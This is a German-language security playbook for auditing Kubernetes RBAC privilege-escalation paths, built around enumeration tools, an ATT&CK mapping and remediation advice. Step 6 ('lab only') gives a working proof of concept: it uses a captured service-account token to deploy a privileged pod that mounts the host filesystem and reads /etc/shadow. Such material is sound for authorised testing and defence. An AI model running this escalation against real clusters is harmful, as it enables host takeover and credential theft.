Überprüfung von Kubernetes RBAC-Privilegieneskalation

Was macht Überprüfung von Kubernetes RBAC-Privilegieneskalation?

Rechtlicher Hinweis: Diese Fähigkeit ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Das Aufzählen und Nutzen von RBAC-Berechtigungen beeinflusst die Zugriffsposition eines Live-Clusters. Testen Sie nur Cluster, die Ihnen gehören oder für die Sie ausdrücklich schriftlich autorisiert wurden.

Überblick

Kubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valide Konten) regelt, was jeder Benutzer und jedes Dienstkonto über Role/ClusterRole-Regeln, die durch RoleBinding/ClusterRoleBinding gebunden sind, tun darf. Da Workloads standardmäßig mit einem bereitgestellten Dienstkontotoken ausgeführt werden, erbt ein Angreifer, der einen Pod kompromittiert, die RBAC-Rechte dieses Kontos. Übermäßig großzügige Bindungen verwandeln einen einzelnen kompromittierten Pod in eine Cluster-Übernahme: Bestimmte Verben und Ressourcen sind „RBAC-äquivalent zu Cluster-Admin“.

Gemäß den Kubernetes „RBAC Good Practices“ und der Unit-42-Forschung sind die gefährlichen Primitive:

• escalate für Rollen — sich selbst jede Berechtigung gewähren, auch solche, die man nicht besitzt.
• bind für ClusterRoles — eine Bindung zu cluster-admin erstellen.
• impersonate für Benutzer/Gruppen/Dienstkonten — als jedes Subjekt agieren, einschließlich system:masters.
• create/update/patch für pods — einen privilegierten Pod planen oder den Knoten einbinden, um auf den Host zu entkommen (T1611).
• create für pods/exec, pods/attach, pods/ephemeralcontainers — Code in jedem vorhandenen Pod ausführen.
• get/list/watch für secrets — list gibt den vollständigen Secret-Inhalt zurück, einschließlich anderer Dienstkontotoken.
• create für serviceaccounts/token — Tokens für privilegiertere Konten erstellen.
• update/patch für validatingwebhookconfigurations/mutatingwebhookconfigurations, nodes/proxy, certificatesigningrequests/approval — Admission/CSR-Missbrauch zu Cluster-Admin.
• Wildcards (verbs: ["*"], resources: ["*"]) — implizite Super-Privilegien.

Diese Fähigkeit listet systematisch effektive Berechtigungen für jedes Subjekt auf, kartiert, welche Subjekte diese Eskalationsprimitive besitzen, und erstellt Korrekturnachweise. Quelle: Kubernetes RBAC Good Practices; Unit 42 Kubernetes-RBAC-Forschung.

Verwendungszweck

• Während eines autorisierten Kubernetes-Sicherheitsassessments oder Cluster-Penetrationstests
• Nach der Kompromittierung eines Pods, um zu bestimmen, was das Dienstkontotoken erreichen kann
• Bei der Überprüfung von RBAC-Abweichungen vor einer Produktionsfreigabe
• Bei der Validierung des Least-Privilege-Prinzips nach einer Plattformmigration oder einem Helm-Rollout

Voraussetzungen

• kubectl, das gegen den Zielcluster konfiguriert ist (eigene Anmeldeinformationen oder ein erfasstes Dienstkontotoken)
• Lesezugriff auf RBAC-Objekte (die meisten Audits werden mit einem Cluster-Reader- oder Admin-Kontext durchgeführt)
• Audit-Tooling:

  # rbac-police - Eskalationspfade finden (Cymulate)
  curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
  chmod +x rbac-police
  
  # kubectl-who-can - welche Subjekte eine Aktion ausführen können (Aqua)
  kubectl krew install who-can
  
  # rakkess - Zugriffsmatrix von Ressourcen x Verben für das aktuelle/andere Subjekt
  kubectl krew install access-matrix
  
  # rbac-lookup - welche Rollen ein Subjekt hat (FairwindsOps)
  kubectl krew install rbac-lookup
  

Ziele

• Alle Role-, ClusterRole-, RoleBinding- und ClusterRoleBinding-Objekte erfassen
• Effektive Berechtigungen pro Subjekt mit kubectl auth can-i --as aufzählen
• Subjekte identifizieren, die RBAC-äquivalente-zu-Admin-Primitive besitzen
• Token-montierte Pods zu überprivilegierten Dienstkonten verfolgen
• Einen Eskalationspfad (in einem Labor) vollständig demonstrieren
• Einen priorisierten Ergebnisbericht mit Least-Privilege-Korrektur ausgeben

MITRE ATT&CK-Zuordnung

Technik-ID	Name	Taktik
T1078	Valide Konten	Verteidigungsumgehung / Persistenz / Privilegieneskalation
T1098	Kontomanipulation	Persistenz
T1528	Stehlen von Anwendungszugriffstoken	Anmeldedatenzugriff
T1613	Container- und Ressourcenerkennung	Erkennung
T1611	Entkommen zum Host	Privilegieneskalation

Arbeitsablauf

Schritt 1: RBAC-Objekte erfassen

# Alle Rollen und Bindungen, clusterweit
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# Vollständiges RBAC für Offline-Analyse ausgeben
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# Wer ist an cluster-admin gebunden?
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

Schritt 2: Effektive Berechtigungen pro Subjekt aufzählen

kubectl auth can-i ist die autoritative Prüfung, da sie den Live-Autorisierer (RBAC + Webhooks) auswertet. Verwenden Sie --as, um ein Subjekt zu impersonieren (erfordert Impersonate-Rechte für die Audit-Identität).

# Vollständige Zugriffsmatrix für ein Dienstkonto
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# Gezielte Sonden für gefährliche Berechtigungen
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# rakkess vollständige Verb x Ressourcen-Matrix für ein Subjekt
kubectl access-matrix --as system:serviceaccount:dev:builder

Schritt 3: Die Eskalationsprimitive jagen

# Wer kann jede gefährliche Aktion clusterweit ausführen?
kubectl who-can create pods
kubectl who-can '*' '*'                      # Wildcard-Gott-Modus-Inhaber
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # Bind-ähnliche Eskalation

# Den rohen Dump nach escalate/bind/impersonate-Verben und Wildcards durchsuchen
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

Schritt 4: Automatisierte Eskalationspfad-Analyse mit rbac-police ausführen

rbac-police wertet Rego-Richtlinien über einen Cluster-Snapshot aus, um Prinzipale zu identifizieren, die zu Cluster-Admin eskalieren können, sowie den genauen Pfad.

# Alle integrierten Eskalationsprüfungen ausführen (benötigt eine Kubeconfig mit Lesezugriff)
./rbac-police eval ./lib/policies/

# Nur die Privilegieneskalationsrichtlinie, schwerwiegende Ergebnisse als JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# Zuerst einen Snapshot sammeln (Offline-Analyse / Air-Gapped-Überprüfung)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

Schritt 5: Pods zu überprivilegierten Dienstkonten verfolgen

Ein Ergebnis ist nur relevant, wenn eine erreichbare Workload dieses Token bereitgestellt hat.

# Jeden Pod seinem Dienstkonto zuordnen
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'

# Pods finden, die Tokens automatisch bereitstellen (Standard) und mit riskanten SAs verbunden sind
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup: was hält dieses Dienstkonto tatsächlich?
kubectl rbac-lookup builder --kind serviceaccount

Schritt 6: Einen Eskalationspfad demonstrieren (nur Labor)

Beispiel: Ein Dienstkonto mit create pods und Zugriff auf einen Knoten kann einen privilegierten Pod planen, der das Host-Dateisystem bereitstellt.

# Mit einem erfassten Token direkt auf den API-Server zugreifen
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# Das gefährliche Recht bestätigen
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# Einen privilegierten Pod planen, der Host-Verzeichnisse bereitstellt (beweist Knoten/Host-Übernahme)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # host /etc/shadow beweist die Eskalation

Schritt 7: Berichten und Beheben

# Eine Zusammenfassung der Least-Privilege-Verstöße erstellen
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "FINDING cluster-admin gebunden an: " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

Behebung: Ersetzen Sie Wildcards durch explizite Verben/Ressourcen; entfernen Sie escalate/bind/impersonate, sofern nicht erforderlich; setzen Sie automountServiceAccountToken: false auf Workloads, die die API nicht aufrufen; bevorzugen Sie Role (namespaced) gegenüber ClusterRole, wo möglich; verwenden Sie aggregationRule mit Vorsicht.

Tools und Ressourcen

Tool	Zweck	Quelle
kubectl auth can-i	Autorisierte Live-Berechtigungsprüfung (--list, --as)	https://kubernetes.io/docs/reference/access-authn-authz/authorization/
rbac-police	Rego-basierte Eskalationspfad-Analyse	https://github.com/PaloAltoNetworks/rbac-police
kubectl-who-can	Rückwärtssuche: Wer kann X tun	https://github.com/aquasecurity/kubectl-who-can
rakkess (access-matrix)	Verb x Ressourcen-Matrix pro Subjekt	https://github.com/corneliusweig/rakkess
rbac-lookup	Rollen, die ein Subjekt hält	https://github.com/FairwindsOps/rbac-lookup
Kubernetes RBAC Good Practices	Autoritative Liste der Eskalationsprimitive	https://kubernetes.io/docs/concepts/security/rbac-good-practices/

Referenz gefährlicher RBAC-Primitive

Verb / Ressource	Warum es Cluster-Admin-Äquivalent ist
escalate auf Rollen	Sich selbst jede Berechtigung gewähren
bind auf ClusterRoles	Sich selbst an cluster-admin binden
impersonate Benutzer/Gruppen	Als system:masters agieren
create pods (+ Knotenzugriff)	Privilegierter/hostPath Pod -> Host-Übernahme
create pods/exec,pods/attach	Code in vorhandenen Pods ausführen
get/list secrets	Alle Tokens & Anmeldedaten lesen
create serviceaccounts/token	Privilegierte Tokens erstellen
*/* (Wildcards)	Implizite Super-Privilegien

Validierungskriterien

• Alle Role/ClusterRole/Binding-Objekte erfasst und ausgegeben
• Liste der cluster-admin-Subjekte aufgeführt
• Effektive Berechtigungen pro Dienstkonto über auth can-i --list aufgeführt
• Alle Inhaber gefährlicher Primitive identifiziert (escalate/bind/impersonate/secrets/pods)
• rbac-police Eskalationspfade überprüft
• Token-montierte Pods zu riskanten Dienstkonten zugeordnet
• Mindestens ein Eskalationspfad in einem Labor demonstriert
• Ergebnisbericht mit Least-Privilege-Korrektur erstellt
• Alle Tests im autorisierten Rahmen geblieben